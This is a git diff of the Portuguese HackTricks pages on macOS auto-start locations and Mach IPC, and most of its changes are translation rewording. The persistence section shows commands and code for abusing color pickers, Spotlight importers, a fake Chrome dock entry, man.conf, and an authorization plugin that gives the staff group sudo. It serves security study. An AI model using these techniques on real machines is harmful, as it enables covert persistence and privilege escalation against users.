- Possui algumas permissões básicas do TCC como Desktop, Documentos e Downloads
#### Localização
@ -813,9 +833,9 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
Compilar com: `osacompile -l JavaScript -o folder.scpt source.js`
Compile com: `osacompile -l JavaScript -o folder.scpt source.js`
Mover para:
Mova para:
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
@ -850,7 +870,7 @@ E isso não funcionou para mim, mas essas são as instruções do artigo:(
Artigo: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
* Mas você precisa ter instalado um aplicativo malicioso dentro do sistema
* Mas você precisa ter instalado um aplicativo malicioso no sistema
* Bypass do TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
@ -927,7 +947,7 @@ cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chr
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
killall Dock
```
### Seletores de Cores
### Selecionadores de Cores
Descrição: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
@ -940,15 +960,15 @@ Descrição: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilb
* `/Library/ColorPickers`
* Necessário acesso de root
* Gatilho: Usar o seletor de cores
* Gatilho: Usar o selecionador de cores
* `~/Library/ColorPickers`
* Gatilho: Usar o seletor de cores
* Gatilho: Usar o selecionador de cores
#### Descrição e Exploração
**Compile um** pacote de seletor de cores com seu código (você poderia usar [**este, por exemplo**](https://github.com/viktorstrate/color-picker-plus)) e adicione um construtor (como na seção [Protetor de Tela](macos-auto-start-locations.md#screen-saver)) e copie o pacote para `~/Library/ColorPickers`.
**Compile um** pacote de selecionador de cores com seu código (você poderia usar [**este, por exemplo**](https://github.com/viktorstrate/color-picker-plus)) e adicione um construtor (como na seção [Protetor de Tela](macos-auto-start-locations.md#screen-saver)) e copie o pacote para `~/Library/ColorPickers`.
Então, quando o seletor de cores for acionado, seu código também deve ser.
Então, quando o selecionador de cores for acionado, seu código também deve ser.
Observe que o binário carregando sua biblioteca tem uma **sandbox muito restritiva**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
```bash
@ -977,7 +997,7 @@ Observe que o binário carregando sua biblioteca tem uma **sandbox muito restrit
Um exemplo de aplicativo com uma Extensão do Finder Sync [**pode ser encontrado aqui**](https://github.com/D00MFist/InSync).
Aplicativos podem ter `Extensões do Finder Sync`. Essa extensão será inserida em um aplicativo que será executado. Além disso, para que a extensão consiga executar seu código, **ela deve ser assinada** com um certificado de desenvolvedor da Apple válido, deve estar **sandboxed** (embora exceções relaxadas possam ser adicionadas) e deve ser registrada com algo como:
Aplicativos podem ter `Extensões do Finder Sync`. Essa extensão será inserida em um aplicativo que será executado. Além disso, para que a extensão consiga executar seu código, **ela deve ser assinada** com um certificado de desenvolvedor da Apple válido, deve estar **sob sandbox** (embora exceções relaxadas possam ser adicionadas) e deve ser registrada com algo como:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
@ -1097,7 +1117,7 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
* Útil para contornar a sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você acabará em uma sandbox de aplicativo
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
* Bypass do TCC: [🔴](https://emojipedia.org/large-red-circle)
* A sandbox parece muito limitada
#### Localização
@ -1119,9 +1139,9 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
O Spotlight é o recurso de pesquisa integrado do macOS, projetado para fornecer aos usuários **acesso rápido e abrangente aos dados em seus computadores**.\
Para facilitar essa capacidade de pesquisa rápida, o Spotlight mantém um **banco de dados proprietário** e cria um índice **analisando a maioria dos arquivos**, permitindo buscas rápidas tanto por nomes de arquivos quanto por seu conteúdo.
O mecanismo subjacente do Spotlight envolve um processo central chamado 'mds', que significa **'servidor de metadados'**. Esse processo orquestra todo o serviço do Spotlight. Complementando isso, existem vários daemons 'mdworker' que realizam uma variedade de tarefas de manutenção, como indexar diferentes tipos de arquivos (`ps -ef | grep mdworker`). Essas tarefas são possíveis por meio de plugins importadores do Spotlight, ou **"pacotes .mdimporter"**, que permitem ao Spotlight entender e indexar conteúdo em uma ampla gama de formatos de arquivo.
O mecanismo subjacente do Spotlight envolve um processo central chamado 'mds', que significa **'servidor de metadados'**. Esse processo orquestra todo o serviço do Spotlight. Complementando isso, existem vários daemons 'mdworker' que realizam uma variedade de tarefas de manutenção, como indexar diferentes tipos de arquivos (`ps -ef | grep mdworker`). Essas tarefas são possíveis por meio de plugins importadores do Spotlight, ou **"bundles .mdimporter"**, que permitem ao Spotlight entender e indexar conteúdo em uma ampla gama de formatos de arquivo.
Os plugins ou pacotes **`.mdimporter`** estão localizados nos locais mencionados anteriormente e se um novo pacote aparecer, ele é carregado em um minuto (não é necessário reiniciar nenhum serviço). Esses pacotes precisam indicar quais **tipos de arquivos e extensões eles podem gerenciar**, dessa forma, o Spotlight os usará quando um novo arquivo com a extensão indicada for criado.
Os plugins ou **bundles `.mdimporter`** estão localizados nos locais mencionados anteriormente e se um novo bundle aparecer, ele é carregado em minutos (sem a necessidade de reiniciar nenhum serviço). Esses bundles precisam indicar quais **tipos de arquivo e extensões eles podem gerenciar**, dessa forma, o Spotlight os usará quando um novo arquivo com a extensão indicada for criado.
É possível **encontrar todos os `mdimporters`** carregados executando:
```bash
@ -1132,7 +1152,7 @@ Paths: id(501) (
"/System/Library/Spotlight/PDF.mdimporter",
[...]
```
E por exemplo, **/Library/Spotlight/iBooksAuthor.mdimporter** é usado para analisar esse tipo de arquivos (extensões `.iba` e `.book`, entre outros):
E por exemplo, **/Library/Spotlight/iBooksAuthor.mdimporter** é usado para analisar esses tipos de arquivos (extensões `.iba` e `.book`, entre outros):
```json
plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
@ -1174,15 +1194,15 @@ Se você verificar o Plist de outros `mdimporter`, você pode não encontrar a e
Além disso, os plugins padrão do sistema sempre têm precedência, então um atacante só pode acessar arquivos que não sejam indexados de outra forma pelos próprios `mdimporters` da Apple.
{% endhint %}
Para criar seu próprio importador, você pode começar com este projeto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e então alterar o nome, os **`CFBundleDocumentTypes`** e adicionar **`UTImportedTypeDeclarations`** para que ele suporte a extensão que você deseja e refleti-las em **`schema.xml`**.\
Para criar seu próprio importador, você pode começar com este projeto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) e então alterar o nome, o **`CFBundleDocumentTypes`** e adicionar **`UTImportedTypeDeclarations`** para que ele suporte a extensão que você deseja e refleti-las em **`schema.xml`**.\
Em seguida, **altere** o código da função **`GetMetadataForFile`** para executar sua carga útil quando um arquivo com a extensão processada for criado.
Por fim, **construa e copie seu novo `.mdimporter`** para um dos locais anteriores e você pode verificar se ele está carregado **monitorando os logs** ou verificando **`mdimport -L.`**
Por fim, **construa e copie seu novo `.mdimporter`** para um dos locais anteriores e você pode verificar sempre que ele for carregado **monitorando os logs** ou verificando **`mdimport -L.`**
### ~~Painel de Preferências~~
{% hint style="danger" %}
Não parece que isso está funcionando mais.
Parece que isso não está mais funcionando.
{% endhint %}
Descrição: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
@ -1197,12 +1217,12 @@ Descrição: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevil
* **`/Library/PreferencePanes`**
* **`~/Library/PreferencePanes`**
Descrição: Não parece que isso está funcionando mais.
Descrição: Parece que isso não está mais funcionando.
## Bypass de Sandbox de Root
## Bypass de Sandbox Root
{% hint style="success" %}
Aqui você pode encontrar locais de início úteis para **burlar a sandbox** que permite simplesmente executar algo **escrevendo em um arquivo** sendo **root** e/ou exigindo outras **condições estranhas.**
Aqui você pode encontrar locais de início úteis para **burlar a sandbox** que permitem simplesmente executar algo **escrevendo em um arquivo** sendo **root** e/ou exigindo outras **condições estranhas.**
{% endhint %}
### Periódico
@ -1287,7 +1307,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.
#### Descrição e Exploração
Como o PAM está mais focado em **persistência** e malware do que em execução fácil dentro do macOS, este blog não fornecerá uma explicação detalhada, **leia os artigos para entender melhor essa técnica**.
Como o PAM está mais focado em **persistência** e malware do que em execução fácil dentro do macOS, este blog não fornecerá uma explicação detalhada, **leia os writeups para entender melhor essa técnica**.
Verifique os módulos do PAM com:
```bash
@ -1316,8 +1336,8 @@ Note que este diretório é protegido pelo TCC, então é altamente provável qu
### Plugins de Autorização
Análise: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
Análise: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
Descrição: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
Descrição: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
* Útil para contornar a sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você precisa ser root e fazer configurações extras
@ -1326,12 +1346,12 @@ Análise: [https://posts.specterops.io/persistent-credential-theft-with-authoriz
#### Localização
* `/Library/Security/SecurityAgentPlugins/`
* Root necessário
* Requer privilégios de root
* Também é necessário configurar o banco de dados de autorização para usar o plugin
#### Descrição e Exploração
Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para obter mais informações sobre como criar um desses plugins, consulte as análises anteriores (e tenha cuidado, um mal escrito pode te bloquear e você precisará limpar seu Mac no modo de recuperação).
Você pode criar um plugin de autorização que será executado quando um usuário fizer login para manter a persistência. Para obter mais informações sobre como criar um desses plugins, consulte as descrições anteriores (e tenha cuidado, um mal escrito pode te bloquear e você precisará limpar seu Mac no modo de recuperação).
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
@ -1371,19 +1391,19 @@ security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
O **`evaluate-mechanisms`** informará ao framework de autorização que será necessário **chamar um mecanismo externo para autorização**. Além disso, **`privileged`** fará com que seja executado pelo root.
Dispare com:
Acione-o com:
```bash
security authorize com.asdf.asdf
```
E então o grupo **staff** deve ter acesso **sudo** (leia `/etc/sudoers` para confirmar).
E então o grupo **staff deve ter acesso sudo** (leia `/etc/sudoers` para confirmar).
### Man.conf
Descrição: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevilbit.github.io/beyond/beyond\_0030/)
* Útil para contornar a sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você precisa ser root e o usuário deve usar o comando man
* Contorno do TCC: [🔴](https://emojipedia.org/large-red-circle)
* Mas você precisa ser root e o usuário deve usar man
* Contorno TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
@ -1393,7 +1413,7 @@ Descrição: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevil
#### Descrição e Exploração
O arquivo de configuração **`/private/etc/man.conf`** indica o binário/script a ser usado ao abrir arquivos de documentação do comando man. Portanto, o caminho para o executável pode ser modificado para que toda vez que o usuário usar o comando man para ler alguns documentos, um backdoor seja executado.
O arquivo de configuração **`/private/etc/man.conf`** indica o binário/script a ser usado ao abrir arquivos de documentação do man. Portanto, o caminho para o executável pode ser modificado para que toda vez que o usuário usar o man para ler alguns documentos, um backdoor seja executado.
Por exemplo, configurado em **`/private/etc/man.conf`**:
```
@ -1414,7 +1434,7 @@ touch /tmp/manconf
* Útil para contornar a sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Mas você precisa estar como root e o apache precisa estar em execução
* Bypass do TCC: [🔴](https://emojipedia.org/large-red-circle)
* Httpd não possui direitos
* Httpd não possui privilégios
#### Localização
@ -1505,42 +1525,24 @@ Certifique-se de que tanto o script rc quanto o arquivo `StartupParameters.plist
### Nome do Super Serviço
Este é um local onde você pode adicionar um serviço personalizado para ser iniciado automaticamente no macOS. Certifique-se de que o serviço seja seguro e necessário antes de adicioná-lo aqui.
Este é um local de inicialização automática específico para o serviço "superservicename". Aqui você pode adicionar ou remover itens de inicialização automática para este serviço.
Localização: `/Library/LaunchDaemons`
#### Localização:
Para adicionar um serviço personalizado, você precisará criar um arquivo `.plist` neste diretório. Certifique-se de definir as permissões corretas para o arquivo `.plist` e o binário associado.
Exemplo de arquivo `.plist`:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.example.custom-service</string>
<key>ProgramArguments</key>
<array>
<string>/path/to/custom-service</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
```plaintext
/Library/LaunchDaemons/com.superservicename.plist
```
Certifique-se de substituir `/path/to/custom-service` pelo caminho real do binário do seu serviço personalizado.
#### Descrição:
Lembre-se de recarregar os serviços do LaunchDaemon após adicionar um novo arquivo `.plist`:
Este arquivo .plist controla a inicialização automática do serviço "superservicename" no sistema macOS. Certifique-se de revisar e monitorar este arquivo para garantir que apenas itens autorizados sejam executados durante a inicialização do sistema.
```bash
sudo launchctl load /Library/LaunchDaemons/com.example.custom-service.plist
```
#### Instruções:
Para desativar um serviço personalizado, use o comando `unload` em vez de `load`.
1. Para adicionar um item de inicialização automática, edite o arquivo .plist e adicione a entrada apropriada.
2. Para remover um item de inicialização automática, remova a entrada correspondente do arquivo .plist.
Certifique-se de monitorar e revisar regularmente os serviços personalizados adicionados para garantir a segurança do seu sistema.
Certifique-se de ter as permissões adequadas para modificar este arquivo. Recomenda-se fazer um backup do arquivo original antes de fazer qualquer alteração.
{% endtab %}
```bash
@ -1567,12 +1569,12 @@ RunService "$1"
### ~~emond~~
{% hint style="danger" %}
Não consigo encontrar este componente no meu macOS, para mais informações verifique o artigo
Não consigo encontrar este componente no meu macOS, para mais informações consulte o artigo
{% endhint %}
Artigo: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
Introduzido pela Apple, **emond** é um mecanismo de registro que parece estar subdesenvolvido ou possivelmente abandonado, no entanto, permanece acessível. Embora não seja particularmente benéfico para um administrador de Mac, este serviço obscuro poderia servir como um método sutil de persistência para atores maliciosos, provavelmente passando despercebido pela maioria dos administradores do macOS.
Introduzido pela Apple, **emond** é um mecanismo de registro que parece estar subdesenvolvido ou possivelmente abandonado, no entanto, permanece acessível. Embora não seja particularmente benéfico para um administrador de Mac, este serviço obscuro poderia servir como um método sutil de persistência para atores de ameaças, provavelmente passando despercebido pela maioria dos administradores do macOS.
Para aqueles cientes de sua existência, identificar qualquer uso malicioso do **emond** é direto. O LaunchDaemon do sistema para este serviço procura scripts para executar em um único diretório. Para inspecionar isso, o seguinte comando pode ser usado:
```bash
@ -1585,7 +1587,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
#### Localização
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
* Necessário acesso de root
* Requer privilégios de root
* **Gatilho**: Com XQuartz
#### Descrição e Exploração
@ -1607,7 +1609,7 @@ Para instalar um KEXT como um item de inicialização, ele precisa ser **instala
* `/Library/Extensions`
* Arquivos KEXT instalados por software de terceiros
Você pode listar os arquivos kext atualmente carregados com:
Você pode listar os arquivos KEXT atualmente carregados com:
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
@ -1628,7 +1630,7 @@ Descrição: [https://theevilbit.github.io/beyond/beyond\_0029/](https://theevil
#### Descrição e Exploração
Aparentemente, o `plist` de `/System/Library/LaunchAgents/com.apple.amstoold.plist` estava usando este binário enquanto expondo um serviço XPC... o problema é que o binário não existia, então você poderia colocar algo lá e quando o serviço XPC fosse chamado, seu binário seria chamado.
Aparentemente, o `plist` de `/System/Library/LaunchAgents/com.apple.amstoold.plist` estava usando este binário enquanto expondo um serviço XPC... o problema é que o binário não existia, então você poderia colocar algo lá e quando o serviço XPC fosse chamado, seu binário seria executado.
Não consigo mais encontrar isso no meu macOS.
@ -1756,10 +1758,10 @@ esac
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

124
macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
View file

@ -4,10 +4,10 @@
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
@ -18,7 +18,7 @@ Outras formas de apoiar o HackTricks:
### Informações Básicas
O Mach utiliza **tarefas** como a **unidade mais pequena** para compartilhar recursos, e cada tarefa pode conter **múltiplas threads**. Essas **tarefas e threads são mapeadas em uma relação 1:1 com processos e threads POSIX**.
O Mach usa **tarefas** como a **unidade mais pequena** para compartilhar recursos, e cada tarefa pode conter **múltiplas threads**. Essas **tarefas e threads são mapeadas em um para um com processos e threads POSIX**.
A comunicação entre tarefas ocorre via Comunicação entre Processos Mach (IPC), utilizando canais de comunicação unidirecional. **As mensagens são transferidas entre portas**, que funcionam como **filas de mensagens** gerenciadas pelo kernel.
@ -30,7 +30,7 @@ Um processo também pode enviar um nome de porta com alguns direitos **para uma
Os direitos de porta, que definem quais operações uma tarefa pode realizar, são essenciais para essa comunicação. Os possíveis **direitos de porta** são ([definições daqui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
* **Direito de Receber**, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, um consumidor), o que significa que pode haver apenas **um direito de receber para cada porta** em todo o sistema (ao contrário de pipes, onde vários processos podem ter descritores de arquivo para a extremidade de leitura de um pipe).
* **Direito de Receber**, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, único consumidor), o que significa que pode haver apenas **um direito de receber para cada porta** em todo o sistema (ao contrário de pipes, onde vários processos podem todos ter descritores de arquivo para a extremidade de leitura de um pipe).
* Uma **tarefa com o Direito de Receber** pode receber mensagens e **criar Direitos de Envio**, permitindo enviar mensagens. Originalmente, apenas a **própria tarefa tem o Direito de Receber sobre sua porta**.
* **Direito de Envio**, que permite enviar mensagens para a porta.
* O Direito de Envio pode ser **clonado** para que uma tarefa que possui um Direito de Envio possa clonar o direito e **concedê-lo a uma terceira tarefa**.
@ -38,7 +38,7 @@ Os direitos de porta, que definem quais operações uma tarefa pode realizar, s
* **Direito de conjunto de portas**, que denota um _conjunto de portas_ em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Os conjuntos de portas podem ser usados para escutar várias portas simultaneamente, muito parecido com `select`/`poll`/`epoll`/`kqueue` no Unix.
* **Nome morto**, que não é um direito de porta real, mas apenas um espaço reservado. Quando uma porta é destruída, todos os direitos de porta existentes para a porta se tornam nomes mortos.
**As tarefas podem transferir DIREITOS DE ENVIO para outras**, permitindo que elas enviem mensagens de volta. **Os DIREITOS DE ENVIO também podem ser clonados, para que uma tarefa possa duplicar e dar o direito a uma terceira tarefa**. Isso, combinado com um processo intermediário conhecido como **servidor de inicialização**, permite uma comunicação eficaz entre tarefas.
**As tarefas podem transferir DIREITOS DE ENVIO para outros**, permitindo-lhes enviar mensagens de volta. **Os DIREITOS DE ENVIO também podem ser clonados, para que uma tarefa possa duplicar e dar o direito a uma terceira tarefa**. Isso, combinado com um processo intermediário conhecido como o **servidor de inicialização**, permite uma comunicação eficaz entre tarefas.
### Portas de Arquivo
@ -48,34 +48,34 @@ Portas de arquivo permitem encapsular descritores de arquivo em portas Mac (usan
#### Etapas:
Como mencionado, para estabelecer o canal de comunicação, o **servidor de inicialização** (**launchd** no Mac) está envolvido.
Como mencionado, para estabelecer o canal de comunicação, o **servidor de inicialização** (**launchd** no mac) está envolvido.
1. A Tarefa **A** inicia uma **nova porta**, obtendo um **direito de RECEBER** no processo.
2. A Tarefa **A**, sendo a detentora do direito de RECEBER, **gera um direito de ENVIO para a porta**.
3. A Tarefa **A** estabelece uma **conexão** com o **servidor de inicialização**, fornecendo o **nome do serviço da porta** e o **direito de ENVIO** por meio de um procedimento conhecido como registro de inicialização.
4. A Tarefa **B** interage com o **servidor de inicialização** para executar uma **busca de inicialização para o nome do serviço**. Se bem-sucedido, o **servidor duplica o direito de ENVIO** recebido da Tarefa A e **transmite para a Tarefa B**.
5. Ao adquirir um direito de ENVIO, a Tarefa **B** é capaz de **formular** uma **mensagem** e enviá-la **para a Tarefa A**.
6. Para uma comunicação bidirecional, geralmente a tarefa **B** gera uma nova porta com um **direito de RECEBER** e um **direito de ENVIO**, e dá o **direito de ENVIO para a Tarefa A** para que ela possa enviar mensagens para a Tarefa B (comunicação bidirecional).
6. Para uma comunicação bidirecional, geralmente a tarefa **B** gera uma nova porta com um **direito de RECEBER** e um **direito de ENVIO**, e dá o **direito de ENVIO para a Tarefa A** para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
O servidor de inicialização **não pode autenticar** o nome do serviço reivindicado por uma tarefa. Isso significa que uma **tarefa** poderia potencialmente **fingir ser qualquer tarefa do sistema**, como reivindicar falsamente um nome de serviço de autorização e então aprovar cada solicitação.
Então, a Apple armazena os **nomes dos serviços fornecidos pelo sistema** em arquivos de configuração seguros, localizados em diretórios protegidos pelo SIP: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Ao lado de cada nome de serviço, o **binário associado também é armazenado**. O servidor de inicialização criará e manterá um **direito de RECEBER para cada um desses nomes de serviço**.
Então, a Apple armazena os **nomes dos serviços fornecidos pelo sistema** em arquivos de configuração seguros, localizados em diretórios protegidos pelo SIP: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Ao lado de cada nome de serviço, o **binário associado também é armazenado**. O servidor de inicialização, criará e manterá um **direito de RECEBER para cada um desses nomes de serviço**.
Para esses serviços predefinidos, o **processo de busca difere ligeiramente**. Quando um nome de serviço está sendo procurado, o launchd inicia o serviço dinamicamente. O novo fluxo de trabalho é o seguinte:
* A Tarefa **B** inicia uma **busca de inicialização** para um nome de serviço.
* O **launchd** verifica se a tarefa está em execução e, se não estiver, a **inicia**.
* A Tarefa **A** (o serviço) executa um **check-in de inicialização**. Aqui, o **servidor de inicialização** cria um direito de ENVIO, o retém e **transfere o direito de RECEBER para a Tarefa A**.
* O launchd duplica o **direito de ENVIO e envia para a Tarefa B**.
* A Tarefa **B** gera uma nova porta com um **direito de RECEBER** e um **direito de ENVIO**, e dá o **direito de ENVIO para a Tarefa A** (o svc) para que ela possa enviar mensagens para a Tarefa B (comunicação bidirecional).
* **launchd** verifica se a tarefa está em execução e, se não estiver, a **inicia**.
* A Tarefa **A** (o serviço) realiza um **check-in de inicialização**. Aqui, o **servidor de inicialização** cria um direito de ENVIO, o mantém e **transfere o direito de RECEBER para a Tarefa A**.
* launchd duplica o **direito de ENVIO e envia para a Tarefa B**.
* A Tarefa **B** gera uma nova porta com um **direito de RECEBER** e um **direito de ENVIO**, e dá o **direito de ENVIO para a Tarefa A** (o svc) para que ela possa enviar mensagens para a TAREFA B (comunicação bidirecional).
No entanto, esse processo se aplica apenas a tarefas de sistema predefinidas. Tarefas não pertencentes ao sistema ainda operam conforme descrito originalmente, o que poderia potencialmente permitir a falsificação.
No entanto, esse processo se aplica apenas a tarefas de sistema predefinidas. Tarefas não do sistema ainda operam conforme descrito originalmente, o que poderia potencialmente permitir a falsificação.
### Uma Mensagem Mach
[Encontre mais informações aqui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
A função `mach_msg`, essencialmente uma chamada de sistema, é utilizada para enviar e receber mensagens Mach. A função requer que a mensagem seja enviada como argumento inicial. Esta mensagem deve começar com uma estrutura `mach_msg_header_t`, seguida pelo conteúdo da mensagem real. A estrutura é definida da seguinte forma:
A função `mach_msg`, essencialmente uma chamada de sistema, é utilizada para enviar e receber mensagens Mach. A função requer que a mensagem seja enviada como argumento inicial. Esta mensagem deve começar com uma estrutura `mach_msg_header_t`, seguida pelo conteúdo da mensagem. A estrutura é definida da seguinte forma:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
@ -88,10 +88,10 @@ mach_msg_id_t msgh_id;
```
Os processos que possuem um _**direito de recebimento**_ podem receber mensagens em uma porta Mach. Por outro lado, os **remetentes** recebem um _**direito de envio**_ ou um _**direito de envio único**_. O direito de envio único é exclusivamente para enviar uma única mensagem, após o que se torna inválido.
Para alcançar uma **comunicação bidirecional** fácil, um processo pode especificar uma **porta mach** no cabeçalho da mensagem mach chamada _porta de resposta_ (**`msgh_local_port`**) onde o **receptor** da mensagem pode **enviar uma resposta** a essa mensagem. Os bits de sinalização em **`msgh_bits`** podem ser usados para **indicar** que um **direito de envio único** deve ser derivado e transferido para esta porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
Para alcançar uma **comunicação bidirecional** fácil, um processo pode especificar uma **porta mach** no **cabeçalho da mensagem** mach chamada _porta de resposta_ (**`msgh_local_port`**) onde o **receptor** da mensagem pode **enviar uma resposta** a essa mensagem. Os bits de sinalização em **`msgh_bits`** podem ser usados para **indicar** que um **direito de envio único** deve ser derivado e transferido para esta porta (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
{% hint style="success" %}
Observe que esse tipo de comunicação bidirecional é usado em mensagens XPC que esperam uma resposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Mas **geralmente são criadas portas diferentes** como explicado anteriormente para criar a comunicação bidirecional.
Note que esse tipo de comunicação bidirecional é usado em mensagens XPC que esperam uma resposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Mas **geralmente são criadas portas diferentes** como explicado anteriormente para criar a comunicação bidirecional.
{% endhint %}
Os outros campos do cabeçalho da mensagem são:
@ -102,7 +102,7 @@ Os outros campos do cabeçalho da mensagem são:
- `msgh_id`: o ID desta mensagem, que é interpretado pelo receptor.
{% hint style="danger" %}
Observe que **as mensagens mach são enviadas por uma porta mach**, que é um canal de comunicação de **um único receptor**, **múltiplos remetentes** integrado ao kernel mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode ler** dela.
Note que **mensagens mach são enviadas por uma porta mach**, que é um canal de comunicação de **um único receptor**, **múltiplos remetentes** integrado ao kernel mach. **Múltiplos processos** podem **enviar mensagens** para uma porta mach, mas em qualquer momento apenas **um único processo pode ler** dela.
{% endhint %}
### Enumerar portas
@ -185,30 +185,6 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
{% endtab %}
{% tab title="sender.c" %}
